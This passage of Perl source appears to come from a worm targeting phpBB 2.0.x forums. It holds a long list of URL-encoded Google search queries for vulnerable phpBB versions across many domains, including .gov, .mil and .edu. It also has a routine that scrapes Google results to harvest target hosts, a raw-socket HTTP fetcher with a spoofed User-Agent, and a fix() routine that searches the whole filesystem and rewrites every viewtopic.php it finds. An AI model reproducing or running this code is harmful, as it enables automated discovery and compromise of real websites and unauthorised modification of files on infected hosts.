"%22inurl%3A%22.ni%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ni%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.edu%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.edu%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.edu%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.gov%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.gov%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.gov%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.aero%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.aero%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.aero%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.mil%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.mil%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.mil%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.fm%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.fm%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.fm%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ie%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ie%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ie%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ir%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ir%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ir%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.hr%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.hr%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.hr%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.hu%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.hu%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.hu%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.za%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.za%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.za%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.pt%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.pt%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.pt%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.tz%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.tz%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.tz%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.tr%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.tr%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.tr%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.cc%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cc%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.cc%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.it%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.it%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.it%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.au%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.au%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.au%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.nz%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.nz%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.nz%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ee%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ee%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ee%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.il%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.il%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.il%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.jm%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.jm%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.jm%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.lv%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.lv%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.lv%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.mg%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.mg%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.mg%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.lt%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.lt%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.lt%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ma%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ma%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ma%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.ws%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.ws%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.ws%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.tk%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.tk%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.tk%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.my%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.no%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.no%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.no%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.no%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.id%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.id%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.id%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cx%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.cx%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.cx%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.nu%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.nu%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.nu%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.in%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.in%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.in%22+%22phpbb%22%2B%222.0.10%22",
"%22inurl%3A%22.nl%22+%22phpbb%22%2B%222.0.6%22",
"%22inurl%3A%22.nl%22+%22phpbb%22%2B%222.0.8%22",
"%22inurl%3A%22.nl%22+%22phpbb%22%2B%222.0.10%22",
"%22welcome+to+phpbb+2%22%2B%22phpbb%22%2B%222.0.10%22");
 
    my $query="www.google.com.ar/search?q=";
    $query.=$str[(rand(scalar(@str)))].$rnd;
    $query.="+-modules&num=$n&start=$s";
 
    my @lst=();
    my $page = http_query($query);
    while ($page =~  m/<a href=\"?http:\/\/([^>\"]+)\"?>/g){
   if ($1 !~ m/google|cache|translate/){
       push (@lst,$1);
   }
    }
    return (@lst);
}
 
sub http_query($){
    my ($url) = @_;
    my $host=$url;
    my $query=$url;
    my $page="";
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
    $query =~s/$host//;
    if ($query eq "") {$query="/";};
    eval {
   local $SIG{ALRM} = sub { die "1";};
   alarm 10;
   my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
   print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/4.0\r\n\r\n";
   my @r = <$sock>;
   $page="@r";
   alarm 0;
   close($sock);
    };   
    return $page;
 
}
 
sub fix(){
my @in=`find / -name  "viewtopic.php" 2>/dev/null`;
foreach my $f (@in){
    chop $f;
    my $newvt="";
    if (open FIX,"<$f") {
   while (<FIX>){
       $newvt.=$_;
   }
   close FIX;
   $newvt =~ s/urldecode//;
   if (open FIX,">$f"){
       print FIX $newvt;
       close FIX;
   }
    }
}
} 

Back